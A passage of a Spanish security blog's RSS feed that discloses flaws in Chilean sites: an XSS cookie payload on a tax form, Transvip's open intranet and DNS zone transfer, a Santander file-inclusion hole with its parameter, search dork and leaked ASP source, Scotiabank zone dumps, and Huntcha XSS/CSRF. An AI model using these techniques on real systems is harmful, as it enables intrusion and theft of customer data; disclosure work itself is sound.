<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/sii_form_attack.png"><img class="aligncenter size-full wp-image-2923" title="sii_form_attack" src="http://blog.zerial.org/wp-content/uploads/2012/02/sii_form_attack.png" alt="" width="306" height="164" /></a></p>
<p>En el campo &#8220;opcion&#8221; va el código malicioso, en este caso un simple &#8220;alert(document.cookie)&#8221; que nos muestra una alerta con la información de la cookie, pero el atacante podría incrustar código html con un iframe externo, o bien enviar request GET o POST a sitios remotos pasando como parámetros la información de la cookie u algún otro dato relevant del usuario <em>logueado</em>.</p>
<p>El ataque se automatiza haciendo que todos los campos sean del tipo &#8220;hidden&#8221; (ocultos) y que al momento de cargar el sitio, automáticamente se haga un <em>submit</em> del formulario, sin que el usuario se entere. De esta forma, el robo de información mediante un sitio remoto es transparente para el usuario.</p>
<p><strong>ACTUALIZADO</strong>: (20 de Febrero 15:30hrs)</p>
<p>La vulnerabilidad Cross-Site Scripting ya ha sido corregida. La falta de uso de CSRF Tokens en los formularios aún afecta al sistema, permitiendo enviar request remotas (CSRF), pero con el XSS parcheado la vulnerabilidad ya no es tan peligrosa.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-permite-el-robo-de-informacion-en-el-sistema-del-s-i-i/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Problemas de seguridad en Transvip</title>
		<link>http://blog.zerial.org/seguridad/problemas-de-seguridad-en-transvip/</link>
		<comments>http://blog.zerial.org/seguridad/problemas-de-seguridad-en-transvip/#comments</comments>
		<pubDate>Wed, 08 Feb 2012 20:48:54 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Anecdotas]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[transvip]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2894</guid>
		<description><![CDATA[Hace un par de días estaba en uno de esos Transfer que te llevan desde el aeropuerto hasta tu casa, de la empresa Transvip. El movil tenia un dispositivo en el lado del chofer con el cual me imagino que lo usan para ver las reservas y rutas a seguir. Me llamó la atención el [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un par de días estaba en uno de esos Transfer que te llevan desde el aeropuerto hasta tu casa, de la empresa <a href="http://www.transvip.cl">Transvip</a>. El movil tenia un dispositivo en el lado del chofer con el cual me imagino que lo usan para ver las reservas y rutas a seguir.</p>
<p>Me llamó la atención el dispositivo ya que parecia que tenía un navegador web y no era el típico gps, asi que me acerqué y para ver que era realmente</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/transvip1.jpg"><img class="aligncenter size-full wp-image-2896" title="transvip1" src="http://blog.zerial.org/wp-content/uploads/2012/02/transvip1.jpg" alt="" width="500" height="234" /></a></p>
<p>Me di cuenta que si era un navegador web, conectado a la URL <strong>transnet480.transvip.cl</strong>. Lo primero que se me vino a la cabeza fue &#8220;<em>un sistema interno de reservas, una intranet</em>&#8220;. Intenté conectarme desde el telefono y pude ver lo mismo que se veia en esa pantalla del chofer. Me llamó la atención que a ese sistema, donde supuestamente debería poder ingresar sólo personal de la empresa, sea accesible publicamente simplemente con la URL. Sin ningun tipo de filtro ni control de acceso.<br />
Seguí investigando y descubri algunas otras fallas en los servicios de internet de esta empresa, por ejemplo, usan los dns de Centropuerto, <strong>ns.centropuerto.cl</strong>, los cuales son vulnerables a ataques de transferencia de zonas (AXFR), pudiendo conocer los subdominios del dominio transvip.cl, donde aparecen varios que podrian ser de utilidad como test, convenios o transnet480:</p>
<blockquote><p>clientes.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
convenios.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
cp.transvip.cl.        38400    IN    CNAME    www.transvip.cl.<br />
exchange.transvip.cl.    38400    IN    CNAME    srv-exchange.transvip.cl.<br />
gestion.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
mail.transvip.cl.    38400    IN    A    200.111.172.44<br />
mailing.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
movil.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
srv-exchange.transvip.cl. 38400    IN    A    200.111.172.44<br />
test.transvip.cl.    38400    IN    CNAME    www.transvip.cl.<br />
transnet480.transvip.cl. 38400    IN    CNAME    www.transvip.cl.<br />
www.transvip.cl.    38400    IN    A    200.111.172.46</p></blockquote>
<p>Intenté comunicarme con alguien encargado de informática o algo parecido, pero no hubo respuesta por parte de ellos. Además de indicarles estos problemas de seguridad, tambien iba a reportarles algunas vulnerabilidades web encontradas como un Cross-Site Scripting en el sitio transnet480:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/xss_transvip.png"><img class="aligncenter size-full wp-image-2899" title="xss_transvip" src="http://blog.zerial.org/wp-content/uploads/2012/02/xss_transvip.png" alt="" width="521" height="362" /></a></p>
<p><strong>ACTUALIZADO (10 de Febrero)</strong>:</p>
<p>La empresa Transvip tiene un sistema de gestión de liquidaciones alojado en liquidacionestransvip.cl (al parecer no conocen los subdominios), en la cual aparece un login para iniciar sesión</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/transvip_liqui.png"><img class="aligncenter size-full wp-image-2908" title="transvip_liqui" src="http://blog.zerial.org/wp-content/uploads/2012/02/transvip_liqui.png" alt="" width="552" height="269" /></a></p>
<p>Pero si ingresamos directamente al directorio &#8220;/pdfs&#8221; podemos ver el listado de todos los archivos PDF correspondientes a liquidaciones, donde podemos acceder a información sensible de la empresa y sus clientes</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2012/02/transvip_liqui2.png"><img class="aligncenter size-full wp-image-2909" title="transvip_liqui2" src="http://blog.zerial.org/wp-content/uploads/2012/02/transvip_liqui2.png" alt="" width="527" height="579" /></a></p>
<p>Gracias a <a title="Abraham Ermann" href="https://twitter.com/#%21/aermann">aermann</a> por la colaboración!</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/problemas-de-seguridad-en-transvip/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidad en las cuentas PAC/PAT y reacciones del Santander</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/#comments</comments>
		<pubDate>Fri, 30 Dec 2011 12:23:12 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco]]></category>
		<category><![CDATA[banco santander]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2881</guid>
		<description><![CDATA[Despues del ultimo post relacionado con la vulnerabilidad que permitia acceder al código fuente del sistema, hubo distintos tipos de reacciones por parte de los usuarios y de las empresas involucradas. Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), [...]]]></description>
			<content:encoded><![CDATA[<p>Despues del ultimo post relacionado con la vulnerabilidad que permitia acceder al código fuente del sistema, hubo distintos tipos de reacciones por parte de los usuarios y de las empresas involucradas.</p>
<p>Otras vulnerabilidades comenzaron a ver la luz, como por ejemplo la que afecta al sistema de asignación/modificación de los pagos automaticos de cuentas (pat/pac), que permite asignar pagos automaticos a terceras personas, sin previa confirmación. De esta forma, Juanito Perez, puede asignar el pago automatico de la cuenta de luz, agua, movil u otro a Pedrito, sin su autorización.</p>
<p>Varias personas se contactaron conmigo y me comentaban que habian enviado un reclamo a su ejecutivo de cuentas, para tener una respuesta formal y seria respecto a estas vulnerabilidades reportadas. Una de ella me llamo la atención, corresponde a <strong><a href="http://twitter.com/Van_ultraviolet">@Van_ultraviolet</a></strong>, que le respondieron:</p>
<ul>
<li>Es una persona que necesita mucha atención, por eso hace esto.</li>
<li>Cualquier persona puede acceder al código fuente.</li>
<li>Revisamos las alertas del <strong>pseudo-hacker</strong> y no son reales.</li>
</ul>
<p>Pueden ver a respuesta completa aca: <a href="http://twitter.theinfo.org/152376559511142400">http://twitter.theinfo.org/152376559511142400</a></p>
<p>Considero que esto es <strong>impresentable</strong> y que la persona que entregó esa respuesta debería pensar seriamente en dejar de ejercer su profesión.</p>
<p>Por otro lado, una de las empresas responsables se contactó conmigo y hemos creado un canal de comunicación para el reporte de vulnerabilidades. Ellos admitieron el fallo del <em>Source Code Disclosure</em> y tambien la vulnerabilidad PAT/PAC, indicando que ya está corregida en su entorno de desarrollo, sólo falta ponerla en producción.</p>
<p>El banco no ha respondido publicamente sobre el asunto, el &#8220;canal web&#8221; y el llamado &#8220;Community Manager&#8221; que maneja la cuenta de Twitter (<a href="http://twitter.com/santanderchile">@SantanderChile</a>), tampoco se pronuncia al respecto, apesar de las insistentes quejas y reclamos de sus clientes.</p>
<p>Como conclusión, hay 3 empresas involucradas:</p>
<ol>
<li>Santander: La entidad afectada, el Banco.</li>
<li>TAISA Chile: Una de las empresas involucrada en el desarrollo del sistema.</li>
<li>NEOSECURE: Segun los comentarios del post anterior y segun la información que me llegaba por correo, twitter, etc, es la empresa que ve la &#8220;seguridad&#8221; del Banco, es decir, es la &#8220;empresa lider en seguridad informatica&#8221; que audita periodicamente los sistemas del santander, <a href="http://www.santander.cl/campanas/aviso_seguridad_b/index.asp?o=emp_melat">según ellos; Aviso de seguridad Santander</a>.</li>
</ol>
<p>De estas tres empresas involucradas, la uinca que se ha hecho responsable y ha dado la cara, es TAISA, quien ha reaccionado bastante bien, agradecida y con ganas de crear un canal de comunicación para este tipo de incidentes. Ademas, han reaccionado bastante rapido despues de que se hizo la publicación.</p>
<p>Ustedes juzguen.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidad-en-las-cuentas-pacpat-y-reacciones-del-santander/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>Acceso al codigo fuente del Banco Santander Chile</title>
		<link>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/</link>
		<comments>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/#comments</comments>
		<pubDate>Tue, 27 Dec 2011 17:00:40 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco santander]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[local file include]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2868</guid>
		<description><![CDATA[Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos &#8220;asp&#8221; y descargar el archivo, teniendo acceso al [...]]]></description>
			<content:encoded><![CDATA[<p>Ya he publicado algunas vulnerabilidad que afectan a los clientes del Santander, esta vez escribiré sobre una vulnerabilidad que afecta directamente al Banco y que permite al atacante obtener el codigo fuente de la banca. El atacante puede navegar por los directorios en busca de los archivos &#8220;asp&#8221; y descargar el archivo, teniendo acceso al codigo fuente del sistema.</p>
<p>Se trata de una vulnerabilidad <strong>Local File Include</strong> +<strong> Directory Traversal</strong> = <strong>Source Code Disclosure</strong>, solo debemos modificar el valor de una variable de la URL para obtener el archivo que necesitemos. Se trata de un fallo basico e irresponsable que ningun alto estandar de seguridad permite.</p>
<p>Lo curioso es que segun el <a href="http://www.santander.cl/campanas/aviso_seguridad_b/index.asp?o=emp_melat">aviso de seguridad oficial del banco santander</a>, hay una empresa &#8220;lider&#8221; en seguridad informática que les hace auditoría periodica:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/avisoseg.png"><img class="aligncenter size-full wp-image-2869" title="avisoseg" src="http://blog.zerial.org/wp-content/uploads/2011/12/avisoseg.png" alt="" width="529" height="220" /></a></p>
<p>Cierto, parece un chiste.<br />
<span id="more-2868"></span></p>
<p>La vulnerabilidad está presente en el archivo &#8220;VerRentabilidad.asp&#8221;, que sirve para ver la rentabilidad de &#8220;algo&#8221;. El archivo necesita que se le entregue una variable &#8220;Numero&#8221;, al cual debemos pasarle especificamente un archivo y será descargado.<br />
Al ver el código fuente de ese archivo, podemos ver que no tiene ningun tipo de validación al momento de realizar la descarga</p>
<pre name="code" class="c">
        nombrePDF=Request("Numero")
        Archivo= "\Rentabilidad" &#038; nombrePDF
        ruta=SERVER.MapPath("/transa/productos/fm") &#038; Archivo
        'Response.Write ruta
        'Response.End
        if not ValidaArchivo(ruta) then
                Response.Redirect("InvMostrarError.asp?tipo=F")
        else
                objStream.Type = 1 'adtypeBinary
                objStream.Open
                objStream.LoadFromFile(ruta)
                Response.contentType="application/pdf"
                Response.AddHeader "content-disposition", "inline;filename=" &#038; nombrePDF
                Response.BinaryWrite objStream.Read
                Response.Flush
                ObjStream.Close
                set objStream=nothing

        end if
</pre>
<p>En la línea 01 almacena en la variable &#8220;nombrePDF&#8221; el valor que le entegamos por URL mediante la variable &#8220;Numero&#8221;, en la variable 06 podemos ver una validación que claramente no funciona o bien no es suficiente, por lo que se ejecutan las lineas siguientes, iniciando la descarga del archivo por el lado del cliente.</p>
<p>Explotando esta vulnerabilidad podemos navegar por los directorios, obtener el listado de archivos, realizar descargas arbitrarias, etc.</p>
<p>Conociendo el arbol de directorios, ya podemos comenzar a descargar uno por uno los archivos de sistema</p>
<blockquote><p>transa/<br />
transa/ErrorDB/<br />
transa/DHS/<br />
transa/solicitud/<br />
transa/include/<br />
transa/Productos/<br />
transa/Productos/include/<br />
transa/preerror.asp<br />
transa/logteclado.asp<br />
transa/FuncBanco.asp<br />
transa/common.asp<br />
transa/cruce.asp<br />
transa/ErrorDB/LogHOB.asp<br />
transa/DHS/Constantes.asp<br />
transa/DHS/DHSFuncs.asp<br />
transa/solicitud/constantes_campana.asp<br />
transa/include/ReadWriteSesion.asp<br />
transa/include/TrampHBFC.asp<br />
transa/include/prodini.asp<br />
transa/Productos/include/ProdMenu.asp</p></blockquote>
<p>Por ejemplo, <strong>ReadWriteSesion.asp</strong>:</p>
<pre name="code" class="c">
ub EscribirArchivo(NameArr, Objeto, URL)
	Dim fecha, path_archivo, linea
	Dim fs, Fd

	Application.lock
	fecha = year(now()) &#038; right("00"&#038;month(now()),2) &#038; right("00"&#038;day(now()),2)
	path_archivo = left(Application("PATHINICONECT"),7) &#038; "ErrorEstComp" &#038; NameArr &#038; fecha &#038; ".txt"
	Linea = "	URL = " &#038; URL
	Linea = Linea &#038; "	Detalle = " &#038; Objeto
	linea = fecha&#038;";"&#038; TimeValue(now()) &#038;";" &#038; linea
	Set fs = CreateObject("Scripting.FileSystemObject")
	Set fd = fs.OpenTextFile(path_archivo, 8, True, False)
	fd.WriteLine(linea)
	fd.close
	set fs = nothing
    Application.unlock

End Sub

Sub ProblemaTecnico

	session("CARPETACLIENTE") = ""
	session("rut") = ""
	session("dig") = ""

[...]
Function NomSession(Param)
' Compatibiliza Nombres de session antiguos por nuevos
Dim RealParam
Select Case UCase(Param)
   Case UCase("APaternoPNJPE07"): RealParam = "ApellidoPaterno"
   Case UCase("AMaternoPNJPE07"): RealParam = "ApellidoMaterno"
   Case UCase("NombresPNJPE07"): RealParam = "Nombres"
   Case UCase("subsegmento"): RealParam = "Segmento/subsegmento"
   Case UCase("MwPeCodCar"): RealParam = "Segmento/MwPeCodCar"
   Case UCase("nom_seg"): RealParam = "Segmento/NombreSegmento"
   Case UCase("clasificadas"): RealParam = "cla"
   Case UCase("IDLogin"): RealParam = "IDL"
   Case UCase("webmatico"): RealParam = "wbmat"
   Case UCase("OpcTef"): RealParam = "TipoTef"
   Case UCase("TipoURL"): RealParam = "Tipo"
   Case UCase("Op_campana"): RealParam = "Op_camp"
   Case UCase("Url_campana"): RealParam = "Url_camp"
   Case UCase("rut"): RealParam = "RUT"
   Case Else
    RealParam = Param
End Select
NomSession = RealParam
End function
</pre>
<p>Otor ejemplo, el archivo <strong>cruce.asp</strong>:</p>
<pre name="code" class="c">
'****************************
'* Manejo de webmatico
'****************************

EsWebMatico = request.Cookies("webmatico")

if (TRIM(LCASE(EsWebMatico))="si" and Ucase(login) <> "BANCOSANTANDER" and Ucase(login) <> "SANTIAGOEXPRESS") then
        path_inicio = "webkio/bcolinea.asp"
        path_sinper = "../mensaje.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "si"
else
        path_inicio = SECWEBNAME &#038; "/transa/partida.asp"
        path_sinper = SECWEBNAME &#038; "/transa/sinpersona.htm"
        path_error  = "preerror.asp"
        path_cclave = "/transa/Cclave/fclave.asp"
        path_producto = "productos.asp"
        EsWebMatico = "no"
end if

'******** fin webmatico *********

'****************************************************************************
'*** Obtiene Rut y Ping del Cliente             *************************************
'****************************************************************************
  rut= ucase(trim(Request.Form("rut")))                          'recibe el rut
  pin= trim(Request.Form("pin"))                                 'recibe el pin
  utv= trim(Request.Form("usateclado"))                          'recibe el uso de teclado virtual
  ven= trim(Request.Form("dondeentro"))
  rslAlto= trim(Request.Form("rslAlto"))                            'resolución pantalla browser del cliente
  rslAncho= trim(Request.Form("rslAncho"))                          'resolución pantalla browser del cliente

  state = 0
  if rut <> "" then
    state = verificador(rut)                                'revisa el digito verificador
  end if
'****************************************************************************

  If rut <> "" and pin <> "" and state = 0 and len(pin) = 4 then         'Si esta todo bien

                '**************************************************************************
                '**** Consulta si Cliente si Esta Bloqueado por 60 Minutos      ***************
                '**************************************************************************
</pre>
<p>Segun lo que podemos leer en los comentarios del codigo fuente, corresponde a un desarrollo del año 2006, estamos casi en el 2012. El Banco Santander, ademas de mentirle a sus clientes y usuarios diciendoles que es un sitio seguro, fue denominado como el <a href="http://www.santander.cl/campanas/pi_mejor_banco/index.asp?o=ebinf">sistema de banco mas seguro de latinoamerica</a>.</p>
<p>A todas las personas que lean este artículo:<br />
- El banco santander NO es el mas seguro, probablemente sea el mas inseguro.<br />
- Una falla de seguridad de este tipo no puede ser permitida, es una vulnerabilidad demasiado CRITICA como para que un banco la tenga presente.<br />
- El Banco no implementa las mejores ni las ultimas tecnologias, tampoco implementa los ultimos estandares de seguridad. Usan tecnologias obsoletas y poco robustas.<br />
- Esta es una vulnerabilidad que afecta al banco y que podria eventualmente afectar a TODOS sus clientes. El atacante que acceda a informacion como el codigo fuente de un sistema, probablemente pueda acceder a otro tipo de informacion.<br />
- No es la unica vulnerabilidad que existe en este banco, ya he hecho publicar por lo menos 4 otras.<br />
- Que el banco tenga un certificado de un millon de bits, no lo hace mas seguro.</p>
<p>A los encargados de seguridad de los bancos u otras entidades:<br />
- La seguridad no es unicamente enviar emails y dar consejos tipo &#8220;no abras links&#8221;<br />
- La seguridad de tu institucion no depende de un certificado SSL.</p>
<p>Los encargados de seguridad de este banco no pueden hacer oidos sordos a este tipo de anuncios, son vulnerabilidades presentes hace mas de 1 año. Pesonalmente llevo mas de 1 año intentando reportar por distintos medios este tipo de fallas. Es una falta de respeto hacia los clientes.<br />
Ademas, la vulnerabilidad está indexada por Google, hagan la siguiente busqueda:<br />
<a href="http://www.google.cl/search?q=site%3Asantander.cl+inurl%3AVerRentabilidad&#038;ie=utf-8&#038;oe=utf-8&#038;aq=t&#038;rls=org.mozilla:en-US:official"><strong>site:santander.cl inurl:VerRentabilidad</strong></a><br />
No es necesario estar logueado en el sistema para poder explotarla.</p>
<p>Solo me queda una pregunta&#8230; <strong>¿Cual será esa empresa LIDER en seguridad informática que audita el sistema del Santander?</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/acceso-al-codigo-fuente-del-banco-santander-chile/feed/</wfw:commentRss>
		<slash:comments>65</slash:comments>
		</item>
		<item>
		<title>Transferencia de Zona en los DNS de Scotiabank</title>
		<link>http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/</link>
		<comments>http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/#comments</comments>
		<pubDate>Mon, 19 Dec 2011 22:12:09 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[axfr]]></category>
		<category><![CDATA[banco del desarrollo]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[scotiabank]]></category>
		<category><![CDATA[transferencia de zona]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2843</guid>
		<description><![CDATA[Hace un tiempo escribí sobre las vulnerabilidades AXFR, tambien publiqué un script que nos ayuda a buscar dns que tengan esta configuración. Los bancos no solo tienen vulnerabilidades web, tambien tienen servicios que se encuentran mal configurados, como es el caso de Scotiabank, que tiene los servicios DNS configurados de forma tal que permiten a [...]]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo escribí sobre las <a href="http://blog.zerial.org/seguridad/axfr-una-vulnerabilidad-que-pasa-desapercibida/">vulnerabilidades AXFR</a>, tambien <a href="http://blog.zerial.org/seguridad/busqueda-de-servicios-dns-con-transferencia-de-zona-abierta-axfr/">publiqué un script</a> que nos ayuda a buscar dns que tengan esta configuración.</p>
<p>Los bancos no solo tienen vulnerabilidades web, tambien tienen servicios que se encuentran mal configurados, como es el caso de Scotiabank, que tiene los servicios DNS configurados de forma tal que permiten a cualquier persona poder actuar como servidor secundario y transferir las zonas.<br />
El DNS que tiene los problemas es el secundario, <strong>ns2.scotiabank.cl</strong>. Si intentamos transferir las zonas desde el secundario, obtenemos los subdominios asociados a scotiabank.cl:</p>
<blockquote><p>scotiabank.cl.        3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
scotiabank.cl.        3600    IN    NS    ns2.scotiabank.cl.<br />
scotiabank.cl.        3600    IN    NS    fw-ext.scotiabank.cl.<br />
scotiabank.cl.        3600    IN    A    200.14.209.97<br />
scotiabank.cl.        3600    IN    MX    10 smexstsip11.scotiabank.com.mx.<br />
scotiabank.cl.        3600    IN    MX    10 smexstsip21.scotiabank.com.mx.<br />
scotiabank.cl.        3600    IN    MX    10 smexstsip31.scotiabank.com.mx.<br />
scotiabank.cl.        3600    IN    TXT    &#8221;v=spf1 a mx ip4:168.165.13.0/24 include:spf.masterbase.com ~all&#8221;<br />
alteon1.scotiabank.cl.    3600    IN    A    200.14.209.101<br />
alteon2.scotiabank.cl.    3600    IN    A    200.55.208.27<br />
corporate.scotiabank.cl. 3600    IN    CNAME    sdol.mastercard.com.<br />
fw-ext.scotiabank.cl.    3600    IN    A    200.14.209.97<br />
gslb.scotiabank.cl.    600    IN    NS    alteon1.scotiabank.cl.<br />
gslb.scotiabank.cl.    600    IN    NS    alteon2.scotiabank.cl.<br />
ns2.scotiabank.cl.    3600    IN    A    200.55.208.26<br />
smexstsip11.scotiabank.cl. 600    IN    A    168.165.13.70<br />
smexstsip21.scotiabank.cl. 600    IN    A    168.165.13.73<br />
smexstsip31.scotiabank.cl. 600    IN    A    168.165.13.76<br />
www.scotiabank.cl.    600    IN    CNAME    www.gslb.scotiabank.cl.<br />
scotiabank.cl.        3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
;; Query time: 44 msec</p></blockquote>
<p>Y todos los dominios que esten usando a ns2.scotiabank.cl como dns, tambien seran vulnerables a este tipo de ataque, por ejemplo, el Banco del Desarrollo:</p>
<blockquote><p>bdd.cl.            3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
bdd.cl.            3600    IN    NS    ns2.scotiabank.cl.<br />
bdd.cl.            3600    IN    NS    fw-ext.scotiabank.cl.<br />
bdd.cl.            3600    IN    A    200.14.209.97<br />
bdd.cl.            3600    IN    MX    10 smexstsip11.scotiabank.com.mx.<br />
bdd.cl.            3600    IN    MX    10 smexstsip21.scotiabank.com.mx.<br />
bdd.cl.            3600    IN    MX    10 smexstsip31.scotiabank.com.mx.<br />
bdd.cl.            3600    IN    TXT    &#8221;v=spf1 ip4:168.165.13.0/24 ~all&#8221;<br />
alteon1.bdd.cl.        3600    IN    A    200.14.209.101<br />
alteon2.bdd.cl.        3600    IN    A    200.55.208.27<br />
fw-ext.bdd.cl.        3600    IN    A    200.14.209.97<br />
gslb.bdd.cl.        600    IN    NS    alteon1.bdd.cl.<br />
gslb.bdd.cl.        600    IN    NS    alteon2.bdd.cl.<br />
ns2.bdd.cl.        3600    IN    A    200.55.208.26<br />
smexstsip11.bdd.cl.    600    IN    A    168.165.13.70<br />
smexstsip21.bdd.cl.    600    IN    A    168.165.13.73<br />
smexstsip31.bdd.cl.    600    IN    A    168.165.13.76<br />
www.bdd.cl.        300    IN    CNAME    www.gslb.bdd.cl.<br />
bdd.cl.            3600    IN    SOA    fw-ext.scotiabank.cl. webmaster.scotiabank.cl. 2011110401 3600 3600 1857600 8400<br />
;; Query time: 37 msec</p></blockquote>
<p>Como es de costumbre, los bancos no tienen procedimientos ni forma para contactar a los responsables.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/transferencia-de-zona-en-los-dns-de-scotiabank/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Fallos de seguridad en Huntcha.com</title>
		<link>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/</link>
		<comments>http://blog.zerial.org/seguridad/fallos-de-seguridad-en-huntcha-com/#comments</comments>
		<pubDate>Fri, 09 Dec 2011 02:47:01 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2845</guid>
		<description><![CDATA[Huntcha.com es un sistema hecho para &#8220;encontrar a tu amor secreto&#8221;, ingresas tus datos, registras a tu amor secreto y si tu amor secreto te agrega a ti, entonces el sistema detecta esa coincidencia y te da la alerta. Por lo tanto, ingresando a la cuanta de algun usuario es posible saber quienes son &#8220;los [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/huntchalogo.png"><img class="aligncenter size-full wp-image-2846" title="huntchalogo" src="http://blog.zerial.org/wp-content/uploads/2011/12/huntchalogo.png" alt="" width="213" height="65" /></a>Huntcha.com es un sistema hecho para &#8220;encontrar a tu amor secreto&#8221;, ingresas tus datos, registras a tu amor secreto y si tu amor secreto te agrega a ti, entonces el sistema detecta esa coincidencia y te da la alerta. Por lo tanto, ingresando a la cuanta de algun usuario es posible saber quienes son &#8220;los amores secretos&#8221; de esa persona. Si esta persona está emparejada y está casado, se podría armar un lio mas o menos.</p>
<p>Según los Términos y Condiciones, respecto a la privacidad y protección de datos, podemos leer:</p>
<blockquote><p><strong>Política de Privacidad</strong></p>
<p>En virtud de la Ley N°19.628 sobre Protección de la Vida Privada, la  empresa respeta el deber de proteger los datos de carácter privado y  personales de los usuarios, no dando acceso a ellos al público a menos  que el propio usuario los de a conocer, por medio de la página web bajo  su consentimiento, no pudiendo hacer responsable a la empresa por la  información que el mismo entregue. La empresa se compromete a cuidar la seguridad de los datos personales  tomando todas las medidas necesarias para esto, a fin de evitar la  pérdida, mal uso o cualquier apropiación indebida de estos mismos.</p></blockquote>
<p>Lo que más me llama la atención es que segun ellos, son <a href="https://twitter.com/#!/huntcha_com/status/140430867058266112">100% privados y seguros</a>:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/12/seguroyprivado.png"><img class="aligncenter size-full wp-image-2847" title="seguroyprivado" src="http://blog.zerial.org/wp-content/uploads/2011/12/seguroyprivado.png" alt="" width="548" height="216" /></a></p>
<p>Dicen tener más de 20 mil usuarios, por lo que asegurar que los datos de esos 20 mil están 100% seguros y privados, es un poco irresponsable. Todos sabemos que la seguridad y la privacidad al 100% <strong>no existe</strong>.</p>
<p>He encontrado algunas vulnerabilidades en este sistema que puede permitir a un atacante obtener información de los usuarios que se encuentran autentificados. Explotando estas vulnerabilidades el atacante podría perfectamente suplantar la identidad de la persona o de su amor platónico.</p>
<p>Las vulnerabilidades son <strong>Cross-Site Request Forgery</strong> (CSRF) y <strong>Cross-Site Scripting</strong> (XSS), combinandolas se puede explotar una funcionalidad que tiene el portal para enviar correos a &#8220;tus amigos&#8221; para invitarlos al portal, pudiendo modificar el mensaje y el destinatario. Además, no es necesario estar autentificado para poder explotar este fallo.</p>
<p><span id="more-2845"></span></p>
